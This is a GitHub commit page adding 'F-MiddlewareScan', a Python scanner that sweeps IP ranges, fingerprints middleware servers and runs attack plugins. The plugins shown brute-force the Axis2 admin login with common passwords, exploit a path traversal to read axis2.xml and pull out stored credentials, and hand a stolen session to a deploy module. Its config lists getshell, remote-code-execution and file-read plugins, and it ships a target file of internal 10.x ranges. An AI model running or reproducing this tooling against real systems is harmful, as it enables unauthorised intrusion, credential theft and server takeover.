Skip to content

Commit 94b0669

Browse files
author
wolf
committed
ok
1 parent bca1050 commit 94b0669

40 files changed

Lines changed: 772 additions & 0 deletions

F-MiddlewareScan.py

Lines changed: 197 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,197 @@
1+
#coding:utf-8
2+
#author:wolf@future-sec
3+
4+
import getopt
5+
import sys
6+
import Queue
7+
import threading
8+
import socket
9+
import urllib2
10+
import time
11+
import os
12+
13+
queue = Queue.Queue()
14+
sys.path.append("plugins")
15+
mutex = threading.Lock()
16+
timeout = 10
17+
class ThreadNum(threading.Thread):
18+
def __init__(self,queue):
19+
threading.Thread.__init__(self)
20+
self.queue = queue
21+
def run(self):
22+
while True:
23+
queue_task = self.queue.get()
24+
task_type,task_host,task_port = queue_task.split(":")
25+
if task_type == 'portscan':
26+
port_status = scan_port(task_type,task_host,task_port)
27+
if port_status == True:
28+
queue.put(":".join(['discern',task_host,task_port]))
29+
elif task_type == 'discern':
30+
discern_type = scan_discern(task_type,task_host,task_port)
31+
if discern_type:
32+
queue.put(":".join([discern_type,task_host,task_port]))
33+
else:
34+
scan_vul(task_type,task_host,task_port)
35+
self.queue.task_done()
36+
def scan_port(task_type,host,port):
37+
try:
38+
socket.setdefaulttimeout(timeout/2)
39+
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
40+
sock.connect((str(host),int(port)))
41+
log(task_type,host,port)
42+
sock.close()
43+
return True
44+
except:
45+
return False
46+
def log(scan_type,host,port,info=''):
47+
mutex.acquire()
48+
time_str = time.strftime('%X', time.localtime( time.time()))
49+
if scan_type == 'portscan':
50+
print "[%s] %s:%d open"%(time_str,host,int(port))
51+
elif scan_type == 'discern':
52+
print "[%s] http://%s:%d is %s"%(time_str,host,int(port),info)
53+
else:
54+
if info:
55+
print "[*%s] %s"%(time_str,info)
56+
log_file = open('result.log','a')
57+
log_file.write("[*%s] %s\r\n"%(time_str,info))
58+
log_file.close()
59+
else:
60+
print "[%s] http://%s:%s call plugin %s"%(time_str,host,port,scan_type)
61+
mutex.release()
62+
def read_config(config_type):
63+
if config_type == 'discern':
64+
mark_list=[]
65+
config_file = open('discern_config.ini','r')
66+
for mark in config_file:
67+
name,location,key,value = mark.strip().split("|")
68+
mark_list.append([name,location,key,value])
69+
config_file.close()
70+
return mark_list
71+
elif config_type == 'plugin':
72+
plugin_list = {}
73+
config_file = open('plugin_config.ini','r')
74+
for plugin in config_file:
75+
name,plugin_file_list = plugin.strip().split("|")
76+
plugin_list[name]=[]
77+
plugin_list[name] = plugin_file_list.split(",")
78+
config_file.close()
79+
return plugin_list
80+
81+
def scan_discern(scan_type,host,port):
82+
mark_list = read_config('discern')
83+
for mark_info in mark_list:
84+
if mark_info[1] == 'header':
85+
try:
86+
header = urllib2.urlopen("http://%s:%d"%(host,int(port)),timeout=timeout).headers
87+
except urllib2.HTTPError,e:
88+
header = e.headers
89+
except Exception,e:
90+
return False
91+
try:
92+
if mark_info[3].lower() in header[mark_info[2]].lower():
93+
log(scan_type,host,port,mark_info[0])
94+
return mark_info[0]
95+
except Exception,e:
96+
continue
97+
elif mark_info[1] == 'file':
98+
try:
99+
re_html = urllib2.urlopen("http://%s:%d/%s"%(host,int(port),mark_info[2]),timeout=timeout).read()
100+
except urllib2.HTTPError,e:
101+
re_html = e.read()
102+
except Exception,e:
103+
return False
104+
if mark_info[3].lower() in re_html.lower():
105+
log(scan_type,host,port,mark_info[0])
106+
return mark_info[0]
107+
def scan_vul(scan_type,host,port):
108+
vul_plugin = read_config("plugin")
109+
try:
110+
for plugin_name in vul_plugin[scan_type]:
111+
req = __import__(plugin_name)
112+
log(plugin_name,host,port)
113+
vul_data = req.check(host,port,timeout)
114+
if vul_data.split("|")[0].upper()=="YES":
115+
log(scan_type,host,port,vul_data.split("|")[1])
116+
except Exception,e:
117+
pass
118+
def get_ip_list(ip):
119+
ip_list = []
120+
iptonum = lambda x:sum([256**j*int(i) for j,i in enumerate(x.split('.')[::-1])])
121+
numtoip = lambda x: '.'.join([str(x/(256**i)%256) for i in range(3,-1,-1)])
122+
if '-' in ip:
123+
ip_range = ip.split('-')
124+
ip_start = long(iptonum(ip_range[0]))
125+
ip_end = long(iptonum(ip_range[1]))
126+
ip_count = ip_end - ip_start
127+
if ip_count >= 0 and ip_count <= 65536:
128+
for ip_num in range(ip_start,ip_end+1):
129+
ip_list.append(numtoip(ip_num))
130+
else:
131+
print '-h wrong format'
132+
elif '.ini' in ip:
133+
ip_config = open(ip,'r')
134+
for ip in ip_config:
135+
ip_list.extend(get_ip_list(ip.strip()))
136+
ip_config.close()
137+
else:
138+
ip_split=ip.split('.')
139+
net = len(ip_split)
140+
if net == 2:
141+
for b in range(1,255):
142+
for c in range(1,255):
143+
ip = "%s.%s.%d.%d"%(ip_split[0],ip_split[1],b,c)
144+
ip_list.append(ip)
145+
elif net == 3:
146+
for c in range(1,255):
147+
ip = "%s.%s.%s.%d"%(ip_split[0],ip_split[1],ip_split[2],c)
148+
ip_list.append(ip)
149+
elif net ==4:
150+
ip_list.append(ip)
151+
else:
152+
print "-h wrong format"
153+
return ip_list
154+
def put_queue(ip_list,port_list):
155+
for ip in ip_list:
156+
for port in port_list:
157+
queue.put(":".join(['portscan',ip,port]))
158+
if __name__=="__main__":
159+
msg = '''
160+
A vulnerability detection scripts for middleware services author:wolf@future-sec
161+
Usage: python F-MiddlewareScan.py -h 192.168.1 [-p 7001,8080] [-m 50] [-t 10]
162+
'''
163+
if len(sys.argv) < 2:
164+
print msg
165+
try:
166+
options,args = getopt.getopt(sys.argv[1:],"h:p:m:t:")
167+
ip = ''
168+
port = '80,4848,7001,7002,8000,8001,8080,8081,8888,9999,9043,9080'
169+
m_count = 100
170+
for opt,arg in options:
171+
if opt == '-h':
172+
ip = arg
173+
elif opt == '-p':
174+
port = arg
175+
elif opt == '-m':
176+
m_count = int(arg)
177+
elif opt == '-t':
178+
timeout = int(arg)
179+
if ip:
180+
ip_list = get_ip_list(ip)
181+
port_list = []
182+
if '.ini' in port:
183+
port_config = open(port,'r')
184+
for port in port_config:
185+
port_list.append(port.strip())
186+
port_config.close()
187+
else:
188+
port_list = port.split(',')
189+
put_queue(ip_list,port_list)
190+
for i in range(m_count):
191+
t = ThreadNum(queue)
192+
t.setDaemon(True)
193+
t.start()
194+
queue.join()
195+
except Exception,e:
196+
print msg
197+

discern_config.ini

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
jboss|header|X-Powered-By|jboss
2+
jboss|file|jboss.css|youcandoit.jpg
3+
jboss|file|is_test|JBossWeb
4+
axis|file|axis2|axis2-web/images/axis_l.jpg
5+
weblogic|file|is_test|Hypertext Transfer Protocol
6+
weblogic|file|console/css/login.css|Login_GC_LoginPage_Bg.gif
7+
glassfish|file|resource/js/cj.js|glassfish.dev.java.net
8+
glassfish|header|Server|GlassFish
9+
resin|header|server|resin
10+
tomcat|file|is_test|Apache Tomcat

ip.ini

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
10.115.153
2+
10.115.145

plugin_config.ini

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
tomcat|tomcat_crackpass
2+
weblogic|weblogic_crackpass,weblogic_unrce
3+
jboss|jboss_crackpass,jboss_unrce,jboss_info,jboss_head_getshell
4+
axis|axis_crackpass,axis_config_read,axis_info
5+
glassfish|glassfish_crackpass,glassfish_fileread
6+
resin|resin_crackpass,resin_fileread,resin_fileread2,resin_fileread3,resin_fileread4

plugins/axis_config_read.py

Lines changed: 29 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,29 @@
1+
#coding:utf-8
2+
#author:wolf@future-sec
3+
import re
4+
import urllib2
5+
def check(host,port,timeout):
6+
try:
7+
url = "http://%s:%d"%(host,int(port))
8+
res = urllib2.urlopen(url+'/axis2/services/listServices',timeout=timeout)
9+
res_code = res.code
10+
res_html = res.read()
11+
if int(res_code) == 404:
12+
return 'NO'
13+
m=re.search('\/axis2\/services\/(.*?)\?wsdl">.*?<\/a>',res_html)
14+
if m.group(1):
15+
server_str = m.group(1)
16+
read_url = url+'/axis2/services/%s?xsd=../conf/axis2.xml'%(server_str)
17+
res = urllib2.urlopen(read_url,timeout=timeout)
18+
res_html = res.read()
19+
if 'axisconfig' in res_html:
20+
try:
21+
user=re.search('<parameter name="userName">(.*?)<\/parameter>',res_html)
22+
password=re.search('<parameter name="password">(.*?)<\/parameter>',res_html)
23+
info = '%s Local File Inclusion Vulnerability %s:%s'%(read_url,user.group(1),password.group(1))
24+
except:
25+
pass
26+
return 'YES|'+info
27+
except Exception,e:
28+
return 'NO'
29+
return 'NO'

plugins/axis_config_read.pyc

1.18 KB
Binary file not shown.

plugins/axis_crackpass.py

Lines changed: 38 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,38 @@
1+
#coding:utf-8
2+
#author:wolf@future-sec
3+
import urllib2
4+
def check(host,port,timeout):
5+
url = "http://%s:%d"%(host,int(port))
6+
error_i=0
7+
flag_list=['Administration Page</title>','System Components','"axis2-admin/upload"','include page="footer.inc">','axis2-admin/logout']
8+
user_list=['axis','admin','manager','root']
9+
pass_list=['','axis','axis2','123456','12345678','password','123456789','admin123','admin888','admin1','administrator','8888888','123123','admin','manager','root']
10+
for user in user_list:
11+
for password in pass_list:
12+
try:
13+
login_url = url+'/axis2/axis2-admin/login'
14+
PostStr='userName=%s&password=%s&submit=+Login+'%(user,password)
15+
request = urllib2.Request(login_url,PostStr)
16+
res = urllib2.urlopen(request,timeout=timeout)
17+
res_html = res.read()
18+
except urllib2.HTTPError,e:
19+
return 'NO'
20+
except urllib2.URLError,e:
21+
error_i+=1
22+
if error_i >= 3:
23+
return 'NO'
24+
continue
25+
for flag in flag_list:
26+
if flag in res_html:
27+
info = '%s Axis Weak password %s:%s'%(login_url,user,password)
28+
try:
29+
login_cookie = res.headers['Set-Cookie']
30+
deploy = __import__("axis_deploy")
31+
re = deploy.run(host,port,timeout,login_cookie)
32+
if re:
33+
info += re
34+
except Exception,e:
35+
print e
36+
pass
37+
return 'YES|'+info
38+
return 'NO'

plugins/axis_crackpass.pyc

1.61 KB
Binary file not shown.

plugins/axis_deploy.py

Lines changed: 27 additions & 0 deletions
Large diffs are not rendered by default.

plugins/axis_deploy.pyc

5.37 KB
Binary file not shown.

0 commit comments

Comments
 (0)